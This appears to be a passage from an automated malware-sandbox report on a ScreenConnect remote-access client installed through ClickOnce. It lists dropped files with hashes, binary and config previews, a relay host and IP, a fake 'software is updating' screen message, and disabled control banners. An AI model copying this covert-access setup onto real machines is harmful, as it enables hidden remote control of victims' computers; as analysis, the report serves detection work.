...........($...&s....t......r...prs..p(%...(&...~>...%-.&...'...s(...%.>.....A...().......(........(+...o,...(-...t....

C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre...exe_25b0fbb6ef7eb094_0018.0002_none_98a7d58e59681f92\ScreenConnect.WindowsFileManager.exe.config

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	266
Entropy (8bit):	4.842791478883622
Encrypted:	false
SSDEEP:	6:TMVBd1IffVKNC7VrfC7VNQpuAKr5KNZk2ygAyONO5W4QIT:TMHdG3VO+Qg9LNZoE0Oo4xT
MD5:	728175E20FFBCEB46760BB5E1112F38B
SHA1:	2421ADD1F3C9C5ED9C80B339881D08AB10B340E3
SHA-256:	87C640D3184C17D3B446A72D5F13D643A774B4ECC7AFBEDFD4E8DA7795EA8077
SHA-512:	FB9B57F4E6C04537E8FDB7CC367743C51BF2A0AD4C3C70DDDAB4EA0CF9FF42D5AEB9D591125E7331374F8201CEBF8D0293AD934C667C1394DC63CE96933124E7
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <startup>.. <supportedRuntime version="v4.0" />.. <supportedRuntime version="v2.0.50727" />.. </startup>.. <runtime>.. <generatePublisherEvidence enabled="false" />.. </runtime>..</configuration>

C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..core_4b14c015c87c1ad8_0018.0002_none_5411371a15332106\ScreenConnect.Core.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	548864
Entropy (8bit):	6.031251664661689
Encrypted:	false
SSDEEP:	6144:7+kYq9xDsxaUGEcANzZ1dkmn27qcO5noYKvKzDrzL9e7eOJsXziIYjVtkb+vbHq+:7SHtpnoVMlUbHbBaYLD
MD5:	16C4F1E36895A0FA2B4DA3852085547A
SHA1:	AB068A2F4FFD0509213455C79D311F169CD7CAB8
SHA-256:	4D4BF19AD99827F63DD74649D8F7244FC8E29330F4D80138C6B64660C8190A53
SHA-512:	AB4E67BE339BECA30CAB042C9EBEA599F106E1E0E2EE5A10641BEEF431A960A2E722A459534BDC7C82C54F523B21B4994C2E92AA421650EE4D7E0F6DB28B47BA
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...z............." ..0..X...........r... ........... ...............................D....@..................................r..O....................................q..8............................................ ............... ..H............text....V... ...X.................. ..`.rsrc................Z..............@..@.reloc...............^..............@..B.................r......H........B......................xq........................................{:.....{;...V.(<.....}:.....};......0..A........u~.......4.,/(=....{:....{:...o>...,.(?....{;....{;...o@...... ... )UU.Z(=....{:...oA...X )UU.Z(?....{;...oB...X...0..b........r...p......%..{:......%q.........-.&.+.......oC....%..{;......%q.........-.&.+.......oC....(D.....{E.....{F...V.(<.....}E.....}F....0..A........u........4.,/(=....{E....{E...o>...,.(?....{F....{F...o@...... F.b# )UU.

C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..dows_4b14c015c87c1ad8_0018.0002_none_58890efb51813436\ScreenConnect.Windows.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	1721856
Entropy (8bit):	6.639136400085158
Encrypted:	false
SSDEEP:	24576:gx5x94kEFj+Ifz3zvnXj/zXzvAAkGz8mvgtX79S+2bfh+RfmT01krTFiH4SqfKPo:gx5xKkEJkGYYpT0+TFiH7efP
MD5:	9F823778701969823C5A01EF3ECE57B7
SHA1:	DA733F482825EC2D91F9F1186A3F934A2EA21FA1
SHA-256:	ABCA7CF12937DA14C9323C880EC490CC0E063D7A3EEF2EAC878CD25C84CF1660
SHA-512:	FFC40B16F5EA2124629D797DC3A431BEB929373BFA773C6CDDC21D0DC4105D7360A485EA502CE8EA3B12EE8DCA8275A0EC386EA179093AF3AA8B31B4DD3AE1CA
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...l............" ..0..>...........]... ...`....... ..............................[.....@................................./]..O....`...............................\..8............................................ ............... ..H............text....=... ...>.................. ..`.rsrc........`.......@..............@..@.reloc...............D..............@..B................c]......H.......t...h..............0....\........................................()...^.()..........%...}....:.().....}....:.().....}....:.().....}......s.....s+...:.(,.....(-.....{...."..}....J.(/........(0...&:.(,.....(1.....{2..."..}2....0..(........(3......+.............(0...&..X....i2.v.(,....s4...}.....s5...}....v.{.....r...p(...+.....o7.....0...........o8....+..o9......(...+&.o....-....,..o................."........{..........o:...&.......(.........0..L...

C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..ient_4b14c015c87c1ad8_0018.0002_none_b558103dfe170413\ScreenConnect.WindowsClient.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	601376
Entropy (8bit):	6.185921191564225
Encrypted:	false
SSDEEP:	6144:r+z3H0n063rDHWP5hLG/6XixJQm16Eod7ZeYai1FzJTZJ5BCEOG6y9QsZSc4F2/Q:qzEjrTWPMLBfWFaSdJ5BeG6xs6/yRod
MD5:	20AB8141D958A58AADE5E78671A719BF
SHA1:	F914925664AB348081DAFE63594A64597FB2FC43
SHA-256:	9CFD2C521D6D41C3A86B6B2C3D9B6A042B84F2F192F988F65062F0E1BFD99CAB
SHA-512:	C5DD5ED90C516948D3D8C6DFA3CA7A6C8207F062883BA442D982D8D05A7DB0707AFEC3A0CB211B612D04CCD0B8571184FC7E81B2E98AE129E44C5C0E592A5563
Malicious:	false
Yara Hits:	Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..ient_4b14c015c87c1ad8_0018.0002_none_b558103dfe170413\ScreenConnect.WindowsClient.exe, Author: Joe Security Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..ient_4b14c015c87c1ad8_0018.0002_none_b558103dfe170413\ScreenConnect.WindowsClient.exe, Author: Joe Security
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...{<............"...0.................. ... ....@.. .......................`.......x....@.................................=...O.... .................. )...@..........8............................................ ............... ..H............text...`.... ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B................q.......H........H................................................................{D.....{E...V.(F.....}D.....}E......0..A........u1.......4.,/(G....{D....{D...oH...,.(I....{E....{E...oJ...... }.o )UU.Z(G....{D...oK...X )UU.Z(I....{E...oL...X...0..b........r...p......%..{D......%q4....4...-.&.+...4...oM....%..{E......%q5....5...-.&.+...5...oM....(N.....{O.....{P...V.(F.....}O.....}P....0..A........u6.......4.,/(G....{O....{O...oH...,.(I....{P....{P...oJ...... 1.c. )UU.

C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..ient_4b14c015c87c1ad8_0018.0002_none_ea2694ec2482770a\ScreenConnect.Client.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	197120
Entropy (8bit):	6.58476728626163
Encrypted:	false
SSDEEP:	3072:CxGtNaldxI5KY9h12QMusqVFJRJcyzvJquFzDvJXYrR:BtNalc5fr12QbPJYaquFGr
MD5:	AE0E6EBA123683A59CAE340C894260E9
SHA1:	35A6F5EB87179EB7252131A881A8D5D4D9906013
SHA-256:	D37F58AAE6085C89EDD3420146EB86D5A108D27586CB4F24F9B580208C9B85F1
SHA-512:	1B6D4AD78C2643A861E46159D5463BA3EC5A23A2A3DE1575E22FDCCCD906EE4E9112D3478811AB391A130FA595306680B8608B245C1EECB11C5BCE098F601D6B
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...Z<..........." ..0.................. ... ....... .......................`............@.................................-...O.... .......................@..........8............................................ ............... ..H............text........ ...................... ..`.rsrc........ ......................@..@.reloc.......@......................@..B................a.......H...........(............^................................................(......(....^.(...........%...}....:.(......}....:.(......}....:.(......}......{....:.(......}.....0..A........(....s....%.~(...%-.&~'.....y...s....%.(...(...+(...+o"...o........0..s.......~#.....2. ....+...j..... ......... ...............%.r...p.%.r...p............%.&...($....5..............s%....=.....0...........~...%-.&~).....\|...s&...%....(...+..~+...%-.&~).....}...s(...%.+...(...+.r9..

C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\Client.Override.en-US.resources

Download File

Process:	C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe
File Type:	data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	4.9739376290794715
Encrypted:	false
SSDEEP:	6:8kVXdyrKDLIP12MUAvvR+ojlX2KG6cAtsbxMHwercD:rHy2DLI4MWoj12K9cAudMHcD
MD5:	5A9944427C35328CB2D7E201CD705C32
SHA1:	C58F7761A80CC65E12CC48AD459151DD7E02B2EA
SHA-256:	333CF59F6D5E060600BD0E001643FECC11E91743A9757AB2192C4CF9B3CB6C01
SHA-512:	AF0132F5D7DA2FDC869BD4889700FB4F3A8017159931CBE7861251C1B33EA4FA28331E1059E129C4BA6AF9878A1367BA531D412AE9DC13F143EDEBC6855114D0
Malicious:	false
Preview:	...........lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet............PADPADP..n_........ A.p.p.l.i.c.a.t.i.o.n.T.i.t.l.e......>Software is updating... Please do not turn off your computer!.

C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\Client.Override.resources

Download File

Process:	C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe
File Type:	data
Category:	dropped
Size (bytes):	257
Entropy (8bit):	4.896176001960815
Encrypted:	false
SSDEEP:	6:8kVXdyrKDLIP12MUAvvR+ojlX2epExpKCl1nSJk0k:rHy2DLI4MWoj12eKfKCKxk
MD5:	C72D7889B5E0BB8AC27B83759F108BD8
SHA1:	2BECC870DB304A8F28FAAB199AE6834B97385551
SHA-256:	3B231FF84CBCBB76390BD9560246BED20B5F3182A89EAF1D691CB782E194B96E
SHA-512:	2D38A847E6DD5AD146BD46DE88B9F37075C992E50F9D04CCEF96F77A1E21F852599A57CE2360E71B99A1CCBC5E3750D37FDB747267EA58A9B76122083FB6A390
Malicious:	false
Preview:	...........lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet............PADPADP..........6B.l.a.n.k.M.o.n.i.t.o.r.B.a.c.k.g.r.o.u.n.d.C.o.l.o.r.......#03c6fc.

C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\Client.en-US.resources

Download File

Process:	C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe
File Type:	data
Category:	dropped
Size (bytes):	50133
Entropy (8bit):	4.759054454534641
Encrypted:	false
SSDEEP:	1536:p1+F+UTQd/3EUDv8vw+Dsj2jr0FJK97w/Leh/KR1exJKekmrg9:p1+F+UTQWUDv8vw+Dsj2jr0FJK97w/LR
MD5:	D524E8E6FD04B097F0401B2B668DB303
SHA1:	9486F89CE4968E03F6DCD082AA2E4C05AEF46FCC
SHA-256:	07D04E6D5376FFC8D81AFE8132E0AA6529CCCC5EE789BEA53D56C1A2DA062BE4
SHA-512:	E5BC6B876AFFEB252B198FEB8D213359ED3247E32C1F4BFC2C5419085CF74FE7571A51CAD4EAAAB8A44F1421F7CA87AF97C9B054BDB83F5A28FA9A880D4EFDE5
Malicious:	false
Preview:	...........lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet............PADPADP.q...'..6....wp.......y....C\|.)>..Ldt..... $...X..........1$.../...2.%%3./>>...L.y.0.C._.........1Y..Qj.o....<....=...R..;...C....&.......1p2.r.x.u?Y..R...c......X.....I.5.2q..R...>.E.pw .@ ).w.l.....S...X..'.C.I......-.Y........4.J..P<.E..=c!.@To..#.._.2.....K.!..h...z......t......^..4...D...f..Q...:..%.z.<......^.....;<...r..yC.....Q........4_.Sns..z.......=..]t...X..<....8.e`}..n....S.H[..S@?.~....,...j.2..v.......B....A...a......D..c..w..K,..t...S.....v....7.6\|..&.....r....#....G......Y...i..'.............'.......Z.....#2e..........\|....)..%....A.....4{..u;N......&q...}.tD..x.....4...J...L......5.Q..M....K..3U..M..............5...........t.>.......lYu....3TY.?...r...'.......3.m........=.H...#.o.........n.....,4.~...<h..u...i.H...V......V/...P.$%..z...

C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\Client.resources

Download File

Process:	C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe
File Type:	data
Category:	dropped
Size (bytes):	26722
Entropy (8bit):	7.7401940386372345
Encrypted:	false
SSDEEP:	384:rAClIRkKxFCQPZhNAmutHcRIfvVf6yMt+FRVoSVCdcDk6jO0n/uTYUq5ZplYKlBy:MV3PZrXgTf6vEVm6zjpGYUElerG49
MD5:	5CD580B22DA0C33EC6730B10A6C74932
SHA1:	0B6BDED7936178D80841B289769C6FF0C8EEAD2D
SHA-256:	DE185EE5D433E6CFBB2E5FCC903DBD60CC833A3CA5299F2862B253A41E7AA08C
SHA-512:	C2494533B26128FBF8149F7D20257D78D258ABFFB30E4E595CB9C6A742F00F1BF31B1EE202D4184661B98793B9909038CF03C04B563CE4ECA1E2EE2DEC3BF787
Malicious:	false
Preview:	...........lSystem.Resources.ResourceReader, mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089#System.Resources.RuntimeResourceSet............PADPADP)...s^.J.....E.....(....jF.C...1P)...H..../..72J..I.J.a.K8c._.ks`.k.`.kK..m.M6p............b...P...........'...!...............K...............w.......P.......1......."A.p.p.l.i.c.a.t.i.o.n.I.c.o.n.1.6.....$A.p.p.l.i.c.a.t.i.o.n.I.c.o.n.2.5.6....."A.p.p.l.i.c.a.t.i.o.n.I.c.o.n.3.2....."A.p.p.l.i.c.a.t.i.o.n.I.c.o.n.4.8.....,A.p.p.l.i.c.a.t.i.o.n.I.c.o.n.B.l.a.n.k.1.6.;...(A.p.p.l.i.c.a.t.i.o.n.I.c.o.n.M.a.c.2.2.....0A.p.p.l.i.c.a.t.i.o.n.I.c.o.n.O.p.a.q.u.e.1.9.2.8...,A.p.p.l.i.c.a.t.i.o.n.I.c.o.n.T.i.t.l.e.1.6.....6B.l.a.n.k.M.o.n.i.t.o.r.B.a.c.k.g.r.o.u.n.d.C.o.l.o.r.4...6B.l.a.n.k.M.o.n.i.t.o.r.B.a.c.k.g.r.o.u.n.d.I.m.a.g.e.:...DB.l.a.n.k.M.o.n.i.t.o.r.B.a.c.k.g.r.o.u.n.d.I.m.a.g.e.V.i.s.i.b.l.e.xb..B.l.a.n.k.M.o.n.i.t.o.r.T.e.x.t.C.o.l.o.r..b..D.a.r.k.T.h.e.m.e.B.a.r.B.a.s.e.C.o.l.o.r..b..<D.a.r.k.T.h.

C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\app.config

Download File

Process:	C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1970
Entropy (8bit):	4.690426481732819
Encrypted:	false
SSDEEP:	48:OhMOdH55AfdH85AfdHfh/dH8h/dHmh/dHH/dHS/dH0/dHjdH6dH/dHAdHKdH3dHX:o3H52H82HzHAHyHVHeHMHZHUH1HyHkHN
MD5:	2744E91BB44E575AD8E147E06F8199E3
SHA1:	6795C6B8F0F2DC6D8BD39F9CF971BAB81556B290
SHA-256:	805E6E9447A4838D874D84E6B2CDFF93723641B06726D8EE58D51E8B651CD226
SHA-512:	586EDC48A71FA17CDF092A95D27FCE2341C023B8EA4D93FA2C86CA9B3B3E056FD69BD3644EDBAD1224297BCE9646419036EA442C93778985F839E14776F51498
Malicious:	false
Preview:	<?xml version="1.0"?>..<configuration>.. <configSections>.. <section name="ScreenConnect.ApplicationSettings" type="System.Configuration.ClientSettingsSection" />.. </configSections>.. <ScreenConnect.ApplicationSettings>.. <setting name="ShowFeedbackSurveyForm" serializeAs="String">.. <value>false</value>.. </setting>.. <setting name="SupportShowUnderControlBanner" serializeAs="String">.. <value>false</value>.. </setting>.. <setting name="AccessShowUnderControlBanner" serializeAs="String">.. <value>false</value>.. </setting>.. <setting name="SupportHideWallpaperOnConnect" serializeAs="String">.. <value>false</value>.. </setting>.. <setting name="AccessHideWallpaperOnConnect" serializeAs="String">.. <value>false</value>.. </setting>.. <setting name="HideWallpaperOnConnect" serializeAs="String">.. <value>false</value>.. </setting>.. <setting name="SupportShowBalloonOnConnect" serializeAs="String">.. <value>fa

C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\user.config (copy)

Download File

Process:	C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	562
Entropy (8bit):	5.036650973187548
Encrypted:	false
SSDEEP:	12:TMHdGGqq9yAas26K9YG6DLI4MWiNuGEAaORnYPENOnO/ew/vXbAa3xT:2dL9hK6E46YPuvH
MD5:	4E2841A7525E541608D9C989A050C2F5
SHA1:	47D81D9E55B20DD0EDEE105874FF06CE3EB8C162
SHA-256:	CB876304CFB6BBDC429A354523D987C5DC22FFE714D47D18D94040F240244ACD
SHA-512:	8E62467BA1D47DFFFA590D1DA786A862C76D190D775C90C96550D883D498C56E6A0D5D889DD1D33BCD7970EF545DF1EA21103A8A1D6B712DF314763638D066FE
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <configSections>.. <section name="ScreenConnect.ApplicationSettings" type="System.Configuration.ClientSettingsSection, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" />.. </configSections>.. <ScreenConnect.ApplicationSettings>.. <setting name="HostToAddressMap" serializeAs="String">.. <value>popwee2.zapto.org=194.59.30.201-08%2f11%2f2024%2010%3a01%3a41</value>.. </setting>.. </ScreenConnect.ApplicationSettings>..</configuration>

C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\yfrq0ifr.newcfg

Download File

Process:	C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	562
Entropy (8bit):	5.036650973187548
Encrypted:	false
SSDEEP:	12:TMHdGGqq9yAas26K9YG6DLI4MWiNuGEAaORnYPENOnO/ew/vXbAa3xT:2dL9hK6E46YPuvH
MD5:	4E2841A7525E541608D9C989A050C2F5
SHA1:	47D81D9E55B20DD0EDEE105874FF06CE3EB8C162
SHA-256:	CB876304CFB6BBDC429A354523D987C5DC22FFE714D47D18D94040F240244ACD
SHA-512:	8E62467BA1D47DFFFA590D1DA786A862C76D190D775C90C96550D883D498C56E6A0D5D889DD1D33BCD7970EF545DF1EA21103A8A1D6B712DF314763638D066FE
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<configuration>.. <configSections>.. <section name="ScreenConnect.ApplicationSettings" type="System.Configuration.ClientSettingsSection, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" />.. </configSections>.. <ScreenConnect.ApplicationSettings>.. <setting name="HostToAddressMap" serializeAs="String">.. <value>popwee2.zapto.org=194.59.30.201-08%2f11%2f2024%2010%3a01%3a41</value>.. </setting>.. </ScreenConnect.ApplicationSettings>..</configuration>

C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..vice_4b14c015c87c1ad8_0018.0002_none_0564cf62aaf28471\ScreenConnect.ClientService.dll

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	PE32 executable (DLL) (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	68096
Entropy (8bit):	6.068776675019683
Encrypted:	false
SSDEEP:	1536:tA0ZscQ5V6TsQqoSDKh6+39QFVIl1KJhb8gp:q0Zy3wUOQFVQKJp
MD5:	0402CF8AE8D04FCC3F695A7BB9548AA0
SHA1:	044227FA43B7654032524D6F530F5E9B608E5BE4
SHA-256:	C76F1F28C5289758B6BD01769C5EBFB519EE37D0FA8031A13BB37DE83D849E5E
SHA-512:	BE4CBC906EC3D189BEBD948D3D44FCF7617FFAE4CC3C6DC49BF4C0BD809A55CE5F8CD4580E409E5BCE7586262FBAF642085FA59FE55B60966DB48D81BA8C0D78
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...0.T..........." ..0.............. ... ...@....... ..............................d.....@.................................e ..O....@.......................`..........8............................................ ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B................. ......H........n..@...................<.........................................(....^.(...........%...}....:.(......}....:.(......}....:.(......}.....~,...%-.&~+.....i...s....%.,...(...+vs....%.}P.........s....(....*....0...........s....}.....s....}...........}.......(&.....}.....(....&.()..........s....o.....()...~-...%-.&~+.....j...s....%.-...o ....s!...}.....s"...}.....s#...}...... .... 0u.........s....s=...}....... ..6........s....s=...}.....('...($............o%........

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\ScreenConnect.WindowsClient.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.WindowsClient.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1373
Entropy (8bit):	5.369201792577388
Encrypted:	false
SSDEEP:	24:ML9E4KQ71qE4GIs0E4KaXE4qpAE4KKUNKKDE4KGKZI6KhPKIE4TKBGKoM:MxHKQ71qHGIs0HKEHmAHKKkKYHKGSI65
MD5:	1BF0A215F1599E3CEC10004DF6F37304
SHA1:	169E7E91AC3D25D07050284BB9A01CCC20159DE7
SHA-256:	D9D84A2280B6D61D60868F69899C549FA6E4536F83785BD81A62C485C3C40DB9
SHA-512:	68EE38EA384C8C5D9051C59A152367FA5E8F0B08EB48AA0CE16BCE2D2B31003A25CD72A4CF465E6B926155119DAB5775A57B6A6058B9E44C91BCED1ACCB086DB
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567ff6b0de7f9dcd8111001e94ab7cf6\System.Drawing.ni.dll",0..3,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\2a7fffeef3976b2a6f273db66b1f0107\System.Windows.Forms.ni.dll",0..2,"System.Deployment, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Xml\db3df155ec9c0595b0198c4487f36ca1\System.Xml.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, Pu

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\dfsvc.exe.log

Download File

Process:	C:\Windows\Microsoft.NET\Framework64\v4.0.30319\dfsvc.exe
File Type:	ASCII text, with CRLF line terminators
Category:	modified
Size (bytes):	1662
Entropy (8bit):	5.368796786510097
Encrypted:	false
SSDEEP:	48:M1H2HKQ71qHGIs0HKGAHKKkKYHKGSI6oPtHTH+JHvHlu:gWq+wmj0qxqKkKYqGSI6oPtzHIPQ
MD5:	F133699E2DFF871CA4DC666762B5A7FF
SHA1:	185FC7D230FC1F8AFC9FC2CF4899B8FFD21BCC57
SHA-256:	9BA0C7AEE39ACD102F7F44D289F73D94E2FD0FCD6005A767CD63A74848F19FC7
SHA-512:	8140CDCE2B3B92BF901BD143BFC8FB4FE8F9677036631939D30099C7B2BB382F1267A435E1F5C019EFFFF666D7389F77B06610489D73694FA31D16BD04CAF20A
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Deployment, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567ff6b0de7f9dcd8111001e94ab7cf6\System.Drawing.ni.dll",0..3,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\2a7fffeef3976b2a6f273db66b1f0107\System.Windows.Forms.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Xml\db3df155ec9c0595b0198c4487f36ca1\System.Xml.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, Pu

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\ScreenConnect.ClientService.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Apps\2.0\O0AJLZ89.O67\32B9QCNC.LYY\scre..tion_25b0fbb6ef7eb094_0018.0002_69b7fe775fd0d375\ScreenConnect.ClientService.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	847
Entropy (8bit):	5.345615485833535
Encrypted:	false
SSDEEP:	24:ML9E4KlKDE4KhKiKhPKIE4oKNzKoZAE4KzeR:MxHKlYHKh3oPtHo6hAHKzeR
MD5:	EEEC189088CC5F1F69CEE62A3BE59EA2
SHA1:	250F25CE24458FC0C581FDDF59FAA26D557844C5
SHA-256:	5345D03A7E6C9436497BA4120DE1F941800F2522A21DE70CEA6DB1633D356E11
SHA-512:	2E017FD29A505BCAC78C659DE10E0D869C42CE3B057840680B23961DBCB1F82B1CC7094C87CEEB8FA14826C4D8CFED88DC647422A4A3FA36C4AAFD6430DAEFE5
Malicious:	false
